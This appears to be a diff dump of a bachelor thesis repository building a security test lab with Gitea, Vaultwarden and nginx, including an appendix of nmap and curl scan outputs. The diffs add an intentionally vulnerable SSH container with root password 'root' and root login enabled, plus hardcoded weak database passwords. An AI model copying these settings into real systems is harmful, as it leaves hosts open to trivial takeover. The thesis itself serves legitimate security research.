\aitoolentry{GPT-4o}{Proofreading}{``Hello, I'm writing my bachelor thesis with the title `[title]'. Can you help me proofread my work? I'd prefer you to explain the issues in the original than to simple correct them! I will send you individual sections as they are ready. Focus on sentence structure, clarity, and grammar and spelling mistakes.'' Entire Document}
%
% Hier beginnen die Verzeichnisse
@ -276,7 +291,7 @@ The security of both services in the tested setup can be further improved by imp
\begin{code}
\captionof{listing}{Vagrantfile}
\label{code:Vagrantfile}
\begin{minted}{ruby}
\begin{minted}[breaklines]{ruby}
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
@ -327,7 +342,7 @@ end
\begin{code}
\captionof{listing}{sandbox/docker-compose.yml}
\label{code:sandbox:docker}
\begin{minted}{yaml}
\begin{minted}[breaklines]{yaml}
services:
vaultwarden:
image: vaultwarden/server:latest
@ -414,7 +429,7 @@ networks:
\begin{code}
\captionof{listing}{sandbox/playbook.yml}
\label{code:sandbox:ansible}
\begin{minted}{yaml}
\begin{minted}[breaklines]{yaml}
---
- hosts: all
become: true
@ -581,7 +596,7 @@ networks:
\begin{code}
\captionof{listing}{sandbox/nginx.conf}
\label{code:sandbox:nginx}
\begin{minted}{text}
\begin{minted}[breaklines]{text}
server {
listen 443 ssl;
server_name gitea.vm.local;
@ -621,7 +636,7 @@ server {
\begin{code}
\captionof{listing}{client/playbook.yml}
\label{code:client:ansible}
\begin{minted}{yaml}
\begin{minted}[breaklines]{yaml}
---
- hosts: all
become: true
@ -664,4 +679,272 @@ server {
\chapter{Test Results}\label{appendix_results}
\section{Command Outputs}\label{appendix_logs}
\begin{code}
\captionof{listing}{\texttt{echo "Hello, World!"}}
\label{log:empty}
\begin{minted}[breaklines]{text}
Hello, World!
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{sudo nmap -sS -p1-65535 192.168.56.10}}
\label{log:base:nmap_sS}
\begin{minted}[breaklines]{text}
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 08:09 EDT
Nmap scan report for gitea.vm.local (192.168.56.10)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
MAC Address: 08:00:27:14:E1:B8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kI 192.168.56.10}}
\label{log:base:curl_I}
\begin{minted}[breaklines]{text}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:21:48 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://192.168.56.10/
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kIL bitwarden.vm.local}}
\label{log:base:curl_IL_bitwarden}
\begin{minted}[breaklines]{http}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:27:44 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://bitwarden.vm.local/
HTTP/1.1 200 OK
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:27:44 GMT
Content-Length: 0
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
referrer-policy: same-origin
x-robots-tag: noindex, nofollow
x-xss-protection: 0
cross-origin-resource-policy: same-origin
content-security-policy: default-src 'none'; font-src 'self'; manifest-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-ancestors 'self' chrome-extension://nngceckbapebfimnlniiiahkandclblb chrome-extension://jbkfoedolllekgbhcbcoahefnbanhhlh moz-extension://* ; img-src 'self' data: https://haveibeenpwned.com ; connect-src 'self' https://api.pwnedpasswords.com https://api.2fa.directory https://app.simplelogin.io/api/ https://app.addy.io/api/ https://api.fastmail.com/ https://api.forwardemail.net ;
cache-control: no-cache, no-store, max-age=0
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kL bitwarden.vm.local}}
\label{log:base:curl_L_bitwarden}
\begin{minted}[breaklines]{html}
<!doctype html><html class="theme_light"><head><meta charset="utf-8"/><meta name="viewport" content="width=1010"/><meta name="theme-color" content="#175DDC"/><title page-title>Vaultwarden Web</title><link rel="apple-touch-icon" sizes="180x180" href="images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="images/favicon-16x16.png"/><link rel="mask-icon" href="images/safari-pinned-tab.svg" color="#175DDC"/><link rel="manifest" href="cca56971e438d22818d6.json"/><link rel="stylesheet" href="css/vaultwarden.css"/><script defer="defer" src="theme_head.4cb181fc19f2a308ba73.js"></script><link href="styles.210448eea764e08cd3db.css" rel="stylesheet"></head><body class="layout_frontend"><app-root><div class="tw-p-8 tw-flex"><img class="new-logo-themed" alt="Vaultwarden"/><div class="spinner-container tw-justify-center"><i class="bwi bwi-spinner bwi-spin bwi-3x tw-text-muted" title="Loading" aria-hidden="true"></i></div></div></app-root><script defer="defer" src="app/polyfills.c5a5bb8e63f572e1aad3.js"></script><script defer="defer" src="app/vendor.a472624478da807c2f59.js"></script><script defer="defer" src="app/main.d867124a6761f6de6826.js"></script><script defer="defer" src="styles.31d6cfe0d16ae931b73c.js"></script></body></html>
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kIL gitea.vm.local}}
\label{log:base:curl_IL_gitea}
\begin{minted}[breaklines]{http}
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:35:10 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://gitea.vm.local/
HTTP/1.1 200 OK
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:35:10 GMT
Connection: keep-alive
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kL gitea.vm.local}; empty lines and some section omitted for brevity}
\label{log:base:curl_L_gitea}
\begin{minted}[breaklines,obeytabs=true,tabsize=2,breakanywhere]{html}
<!DOCTYPE html>
<html lang="en-US" data-theme="gitea-auto">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
<meta name="referrer" content="no-referrer">
<link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml">
<link rel="alternate icon" href="/assets/img/favicon.png" type="image/png">
<script>
window.addEventListener('error', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
window.addEventListener('unhandledrejection', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
window.config = {
appUrl: 'http:\/\/localhost:3000\/',
appSubUrl: '',
assetVersionEncoded: encodeURIComponent('1.23.7'),
assetUrlPrefix: '\/assets',
runModeIsProd: true ,
customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
csrfToken: 'THIb1Sld2E0x3ATc2YnDIH_HXIc6MTc0NTA2MzY0NzU2NzQzMzUyNA',
pageData: {},
notificationSettings: {"EventSourceUpdateTime":10000,"MaxTimeout":60000,"MinTimeout":10000,"TimeoutStep":10000},
enableTimeTracking: true ,
mermaidMaxSourceCharacters: 5000 ,
i18n: {
...
},
};
window.config.pageData = window.config.pageData || {};
</script>
<script src="/assets/js/webcomponents.js?v=1.23.7"></script>
<noscript>
<style>
.dropdown:hover > .menu { display: block; }
.ui.secondary.menu .dropdown.item > .menu { margin-top: 0; }
</style>
</noscript>
<meta property="og:title" content="Gitea: Git with a cup of tea">
<meta property="og:type" content="website">
<meta property="og:image" content="/assets/img/logo.png">
<meta property="og:url" content="http://localhost:3000/">
<meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta property="og:site_name" content="Gitea: Git with a cup of tea">
<link rel="stylesheet" href="/assets/css/index.css?v=1.23.7">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.23.7">
</head>
<body hx-headers='{"x-csrf-token": "-AxjXrZkccvGWZ6ikXDTsMgRNps6MTc0NTA2MjUzNDc0OTU2NTM4MQ"}' hx-swap="outerHTML" hx-ext="morph" hx-push-url="false">
<div class="full height">
<noscript>This website requires JavaScript.</noscript>
<nav id="navbar" aria-label="Navigation Bar">
<div class="navbar-left">
<a class="item" id="navbar-logo" href="/" aria-label="Home">
<img width="30" height="30" src="/assets/img/logo.svg" alt="Logo" aria-hidden="true">
</a>
<div class="ui secondary menu navbar-mobile-right only-mobile">
<button class="item tw-w-auto ui icon mini button tw-p-2 tw-m-0" id="navbar-expand-toggle" aria-label="Navigation Menu"><svg viewBox="0 0 16 16" class="svg octicon-three-bars" aria-hidden="true" width="16" height="16"><path d="..."/></svg></button>
</div>
<a class="item" href="/explore/repos">Explore</a>
<a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
</div>
<div class="navbar-right">
<a class="item" href="/user/sign_up">
<svg viewBox="0 0 16 16" class="svg octicon-person" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Register
</a>
<a class="item" rel="nofollow" href="/user/login?redirect_to=%2f">
<svg viewBox="0 0 16 16" class="svg octicon-sign-in" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Sign In
</a>
</div>
</nav>
<div role="main" aria-label="Home" class="page-content home">
<div class="tw-mb-8 tw-px-8">
<div class="center">
<img class="logo" width="220" height="220" src="/assets/img/logo.svg" alt="Logo">
<div class="hero">
<h1 class="ui icon header title">
Gitea: Git with a cup of tea
</h1>
<h2>A painless, self-hosted Git service</h2>
</div>
</div>
</div>
<div class="ui stackable middle very relaxed page grid">
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-flame" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Easy to install
</h1>
<p class="large">
Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
</p>
</div>
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-device-desktop" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Cross-platform
</h1>
<p class="large">
Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
</p>
</div>
</div>
<div class="ui stackable middle very relaxed page grid">
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-rocket" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Lightweight
</h1>
<p class="large">
Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
</p>
</div>
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-code" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Open Source
</h1>
<p class="large">
Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
</p>
</div>
</div>
</div>
</div>
<footer class="page-footer" role="group" aria-label="Footer">
<div class="left-links" role="contentinfo" aria-label="About Software">
<a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>
Version:
1.23.7
Page: <strong>18ms</strong>
Template: <strong>5ms</strong>
</div>
<div class="right-links" role="group" aria-label="Links">
<div class="ui dropdown upward">
<span class="flex-text-inline"><svg viewBox="0 0 16 16" class="svg octicon-globe" aria-hidden="true" width="14" height="14"><path d="..."/></svg> English</span>
<div class="menu language-menu">
<a lang="id-ID" data-url="/?lang=id-ID" class="item ">Bahasa Indonesia</a>
<a lang="de-DE" data-url="/?lang=de-DE" class="item ">Deutsch</a>
<a lang="en-US" data-url="/?lang=en-US" class="item selected">English</a>
...
</div>
</div>
<a href="/assets/licenses.txt">Licenses</a>
<a href="/api/swagger">API</a>
</div>
</footer>
<script src="/assets/js/index.js?v=1.23.7" onerror="alert('Failed to load asset files from ' + this.src + '. Please make sure the asset files can be accessed.')"></script>
</body>
</html>
\end{minted}
\end{code}
%\begin{code}
%\captionof{listing}{\texttt{metasplout}\footnote{Metasploit commands are entered into the metasploit console after starting it using the command \texttt{msfconsole}}}
%\label{log:base:metasploit:test}
%\begin{minted}[breaklines]{text}
%Hello, World!
%\end{minted}
%\end{code}
%
%\begin{code}
%\captionof{listing}{\texttt{metasplou123t}\footnote{Metasploit commands are entered into the metasploit console after starting it using the command \texttt{msfconsole}}}
%\label{log:base:metasploit:test2}
%\begin{minted}[breaklines]{text}
%Hello, World!
%\end{minted}
%\end{code}
\end{document}

View File

@ -213,7 +213,7 @@ numbers=noendperiod]{scrbook}
\newcommand*{\@uastwinputencloaded}{false}
\AddToHook{package/inputenc/after}[loadbiblatex]{
\RequirePackage{csquotes}
\RequirePackage[backend=\@uastwcitationbackend, style=\@uastwcitation]{biblatex}
\RequirePackage[backend=\@uastwcitationbackend, style=\@uastwcitation, sorting=none]{biblatex}
\Ifstr{\@uastwcitation}{authoryear}{%
\let\@originalcite\cite
\let\cite\parencite

View File

@ -3,8 +3,8 @@ Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "gusztavvargadr/ubuntu-desktop"
DESKTOP_BOX_VERSION = "2404.0.2503"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
@ -12,9 +12,14 @@ Vagrant.configure("2") do |config|
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
@ -30,31 +35,25 @@ Vagrant.configure("2") do |config|
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
# config.vm.define "external" do |external|
# external.vm.box = BOX_NAME
# external.vm.box_version = BOX_VERSION
# external.vm.hostname = "external.vm"
# external.vm.network "private_network", ip: "192.168.56.30"
#
# external.vm.provider "virtualbox" do |v|
# v.memory = 2048
# v.cpus = 2
# end
#
# external.vm.provision "ansible_local" do |ansible|
# ansible.playbook = "/vagrant/ansible/playbook.yml"
# end
# end
end

View File

@ -26,30 +26,5 @@
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local"
state: present
# - name: Wait for Firefox profile directory to be created
# shell: |
# until find /home/vagrant/.mozilla/firefox -maxdepth 1 -name "*.default-release" -print -quit | grep -q .; do
# sleep 1
# done
# changed_when: false
#
# - name: Get Firefox default profile path
# shell: |
# find /home/vagrant/.mozilla/firefox -maxdepth 1 -name "*.default-release" | head -n 1
# register: firefox_profile
# changed_when: false
#
# - name: Check if cert DB exists
# stat:
# path: "{{ firefox_profile.stdout }}/cert9.db"
# register: cert_db
#
# - name: Add mkcert root CA to Firefox
# command: >
# certutil -A -n "mkcert development CA" -t "C,,"
# -i /usr/local/share/ca-certificates/mkcert-rootCA.crt
# -d sql:{{ firefox_profile.stdout }}
# when: cert_db.stat.exists
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present

View File

@ -4,10 +4,11 @@ services:
container_name: vaultwarden
restart: unless-stopped
networks:
- internal
- nginx
- vaultwarden
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db/vaultwarden"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
@ -24,7 +25,7 @@ services:
volumes:
- ./vw-postgres:/var/lib/postgresql/data
networks:
- internal
- vaultwarden
gitea:
image: docker.gitea.com/gitea:latest
@ -40,7 +41,8 @@ services:
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- internal
- nginx
- gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
@ -60,14 +62,21 @@ services:
volumes:
- ./postgres:/var/lib/postgresql/data
networks:
- internal
- gitea
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- nginx
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- internal
- nginx
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
@ -76,5 +85,9 @@ services:
- 443:443
networks:
internal:
nginx:
driver: bridge
gitea:
driver: bridge
vaultwarden:
driver: bridge

View File

@ -0,0 +1,9 @@
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

111
webserver/hybrid.patch Normal file
View File

@ -0,0 +1,111 @@
diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.yml
--- base/sandbox/docker-compose.yml 2025-05-16 14:24:23.205442568 +0200
+++ hybrid/sandbox/docker-compose.yml 2025-05-16 18:50:42.770649909 +0200
@@ -7,25 +7,12 @@
- internal
environment:
DOMAIN: "https://bitwarden.vm.local"
- DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db/vaultwarden"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@localhost/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
- vaultwarden-db:
- image: docker.io/library/postgres:latest
- container_name: vaultwarden-db
- restart: unless-stopped
- environment:
- POSTGRES_DB: vaultwarden
- POSTGRES_USER: vaultwarden
- POSTGRES_PASSWORD: vaultwarden
- volumes:
- - ./vw-postgres:/var/lib/postgresql/data
- networks:
- - internal
-
gitea:
image: docker.gitea.com/gitea:latest
container_name: gitea
@@ -33,7 +20,7 @@
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- - GITEA__database__HOST=gitea-db:5432
+ - GITEA__database__HOST=localhost:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
@@ -49,19 +36,6 @@
- 3000
- 22
- gitea-db:
- image: docker.io/library/postgres:latest
- container_name: gitea-db
- restart: unless-stopped
- environment:
- - POSTGRES_USER=gitea
- - POSTGRES_PASSWORD=gitea
- - POSTGRES_DB=gitea
- volumes:
- - ./postgres:/var/lib/postgresql/data
- networks:
- - internal
-
vulnerable:
build: /vagrant/sandbox/vuln
ports:
diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
--- base/sandbox/playbook.yml 2025-05-16 14:24:38.114525247 +0200
+++ hybrid/sandbox/playbook.yml 2025-05-16 18:54:14.467644981 +0200
@@ -15,6 +15,7 @@
- curl
- software-properties-common
- virtualenv
+ - postgresql
state: latest
update_cache: true
@@ -148,6 +149,40 @@
name: ssh
state: restarted
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
- name: Ensure Docker service is running
service:
name: docker